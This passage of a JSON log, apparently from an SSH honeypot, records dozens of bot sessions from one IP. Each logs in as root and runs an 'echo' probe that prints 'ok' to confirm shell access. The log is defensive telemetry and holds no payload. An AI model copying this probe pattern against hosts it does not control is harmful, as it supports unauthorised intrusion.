  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:12.153874+00:00",
  "ended_at": "2026-08-23T08:25:14.276003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89029446-9811-404e-a196-6ad4e515ff25",
  "name": "jagged-bashful-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:09.913007+00:00",
  "ended_at": "2026-08-23T08:25:11.512007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b1a3e8a7-427a-4988-9a5a-c615dda52ac1",
  "name": "forlorn-bronzed-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:08.016522+00:00",
  "ended_at": "2026-08-23T08:25:09.135013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "93a5435e-cc55-49ce-b532-5fa638df1669",
  "name": "shaded-placid-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:05.968087+00:00",
  "ended_at": "2026-08-23T08:25:07.253051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd2b07aa-64fb-43e1-856f-2bd9353c6f1a",
  "name": "brave-boreal-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:03.784490+00:00",
  "ended_at": "2026-08-23T08:25:05.149002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "745d2a89-ccc8-4ff2-b854-69e1de42d92a",
  "name": "cobalt-windswept-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:25:00.789536+00:00",
  "ended_at": "2026-08-23T08:25:02.975048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0798ee0-17a4-4066-98ac-e50a566f7fab",
  "name": "dappled-rugged-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:58.757654+00:00",
  "ended_at": "2026-08-23T08:24:59.975099+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79b96257-7897-4e32-9f59-64468d797147",
  "name": "bold-shifting-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:56.543394+00:00",
  "ended_at": "2026-08-23T08:24:58.032578+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "120bb317-1cfd-45ce-85a6-d7bd306375f6",
  "name": "plucky-ashen-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:53.628869+00:00",
  "ended_at": "2026-08-23T08:24:55.743659+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e533c7a-67c0-4a93-8f66-ff5f21fe3c2a",
  "name": "proud-umber-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:51.279987+00:00",
  "ended_at": "2026-08-23T08:24:52.974456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "12c4d5f0-f248-40eb-88c8-fa59d7728621",
  "name": "placid-wry-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:49.619063+00:00",
  "ended_at": "2026-08-23T08:24:50.523997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6fe733a-811d-434c-b19a-4aa8d26cb0ab",
  "name": "somber-prickly-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:47.718085+00:00",
  "ended_at": "2026-08-23T08:24:48.951412+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5f7c01e6-7983-4f1a-b2f3-bfa5a2a1e2fd",
  "name": "thawing-plush-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:45.630124+00:00",
  "ended_at": "2026-08-23T08:24:47.009545+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2c78291-db3e-46b2-b2a3-35861eb6f591",
  "name": "sterling-earnest-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:43.669100+00:00",
  "ended_at": "2026-08-23T08:24:44.992531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "574123ff-fb0c-4d58-a109-77dd8c3789ba",
  "name": "creaky-boreal-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:41.279019+00:00",
  "ended_at": "2026-08-23T08:24:42.981631+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "32ead191-97f4-4015-86bc-f51ddb665b3c",
  "name": "foggy-gleaming-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:38.986401+00:00",
  "ended_at": "2026-08-23T08:24:40.632928+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e062cb3-76a9-4e17-aae6-4e708589d92d",
  "name": "quiet-steady-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:36.633601+00:00",
  "ended_at": "2026-08-23T08:24:38.302632+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf6cc872-9e0f-4791-ad06-6a28882a7cf4",
  "name": "idle-umber-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50202,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:34.041557+00:00",
  "ended_at": "2026-08-23T08:24:35.996665+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ced0aca-03e4-4091-8cda-309052c2c331",
  "name": "alpine-russet-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:31.744064+00:00",
  "ended_at": "2026-08-23T08:24:33.346076+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d94ae19-7e71-4544-84ae-e24f36470961",
  "name": "murky-peaty-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:29.110011+00:00",
  "ended_at": "2026-08-23T08:24:31.026452+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60051d4b-8a5b-4e65-8083-5121e90e1bac",
  "name": "noble-vigilant-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:26.642178+00:00",
  "ended_at": "2026-08-23T08:24:28.342587+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "231cf5c4-5492-4bd5-bbca-06a873d44fd3",
  "name": "lofty-curious-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:24.345101+00:00",
  "ended_at": "2026-08-23T08:24:26.008717+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3deb5ad2-7502-4601-a6dd-1bc6fc2417c1",
  "name": "sterling-fringed-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:21.551113+00:00",
  "ended_at": "2026-08-23T08:24:23.594831+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c938b2be-77d3-4b5f-aa5f-946cded64034",
  "name": "hardy-amber-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:19.714295+00:00",
  "ended_at": "2026-08-23T08:24:20.887004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae404eca-549b-4e6a-8803-98452a4cbab8",
  "name": "subtle-plush-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:17.505160+00:00",
  "ended_at": "2026-08-23T08:24:19.014844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "38f34630-92c1-4bae-bc06-f1d11dca79b7",
  "name": "ruddy-marine-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:15.775625+00:00",
  "ended_at": "2026-08-23T08:24:16.850479+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc95d5c6-e522-4be8-a6ab-4f2c3f6884bc",
  "name": "pewter-thrifty-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 39006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:24:14.089084+00:00",
  "ended_at": "2026-08-23T08:24:15.030230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a16a6de4-e012-4153-b423-8bf18cdde552",
  "name": "alpine-jolly-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:11.991439+00:00",
  "ended_at": "2026-08-23T08:24:13.763043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c9993149-5209-4651-a36b-ec12b397c595",
  "name": "mindful-bitter-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:09.961171+00:00",
  "ended_at": "2026-08-23T08:24:11.293721+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a70430ca-2079-4e52-89ba-5d5ba8dffc33",
  "name": "smoky-ashen-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:08.163828+00:00",
  "ended_at": "2026-08-23T08:24:09.273392+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b41164c1-f33a-4b52-9d34-a775e55dd3fb",
  "name": "lonesome-muted-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:06.390094+00:00",
  "ended_at": "2026-08-23T08:24:07.538104+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b4cc343-4646-4bc3-b255-5324eff0ddfb",
  "name": "thorny-cobalt-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:03.508986+00:00",
  "ended_at": "2026-08-23T08:24:05.622636+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6cd129cf-bf8c-4ceb-bc95-f0cd726f5898",
  "name": "jaunty-mossy-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:01.666293+00:00",
  "ended_at": "2026-08-23T08:24:02.746007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f2aee95a-80a6-42a5-ba12-aab296001a6c",
  "name": "calm-frank-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:24:00.031065+00:00",
  "ended_at": "2026-08-23T08:24:00.967989+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b6f459e-0a0b-446b-afc1-00fdb393b8db",
  "name": "lonesome-hearty-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:57.104690+00:00",
  "ended_at": "2026-08-23T08:23:59.305717+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b8c833dc-8c19-4ad0-8859-ee70be557a20",
  "name": "honest-forlorn-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:55.272303+00:00",
  "ended_at": "2026-08-23T08:23:56.338007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c2a4ae9-bd62-4520-bbb4-e5129a8de1c5",
  "name": "dusty-noble-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:53.560244+00:00",
  "ended_at": "2026-08-23T08:23:54.488001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2bc9ae0-545b-43d9-b92d-7ac8f3b96a42",
  "name": "fleeting-cobalt-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:51.257079+00:00",
  "ended_at": "2026-08-23T08:23:52.774022+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5a906d23-1a41-4e4f-9cfb-6f6ac11c3501",
  "name": "serene-cosmic-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:48.858915+00:00",
  "ended_at": "2026-08-23T08:23:50.578432+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d934f27f-d797-4e39-97b7-0ad17998dc4d",
  "name": "velvet-lofty-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:47.169064+00:00",
  "ended_at": "2026-08-23T08:23:48.208999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "56c027aa-a2cd-4760-aaa4-341f4317591c",
  "name": "glacial-loyal-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:44.285488+00:00",
  "ended_at": "2026-08-23T08:23:46.349265+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3cf48321-b917-4654-bfc5-c84d587f14c4",
  "name": "wistful-steady-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:42.706094+00:00",
  "ended_at": "2026-08-23T08:23:43.653045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ff6e4dc-32b8-432f-be07-2cf213321457",
  "name": "lawful-somber-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:40.108126+00:00",
  "ended_at": "2026-08-23T08:23:41.974000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "44bd6a23-272b-458b-943b-925ad5f800bc",
  "name": "bronzed-tidal-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:37.667081+00:00",
  "ended_at": "2026-08-23T08:23:39.436051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87e4e5ba-cc4b-4746-81a1-7dd12e01868c",
  "name": "ginger-creaky-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:35.084621+00:00",
  "ended_at": "2026-08-23T08:23:37.011016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4b156d5-38e9-488d-83e9-a20d01b7e5c7",
  "name": "solemn-thawing-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:32.264096+00:00",
  "ended_at": "2026-08-23T08:23:34.260544+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf04da3f-aadb-4e11-9aba-398354ba896d",
  "name": "ivory-fickle-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:29.999749+00:00",
  "ended_at": "2026-08-23T08:23:31.487186+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "337415da-8e2d-43fe-b6a5-03d74511945d",
  "name": "somber-slender-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:27.071103+00:00",
  "ended_at": "2026-08-23T08:23:29.313081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b8a0daa-354b-4bab-819e-957e5dfa58dd",
  "name": "deft-civil-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:24.723446+00:00",
  "ended_at": "2026-08-23T08:23:26.189000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad6a39c1-cd05-4aea-b437-5b2b71934dde",
  "name": "steady-graceful-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
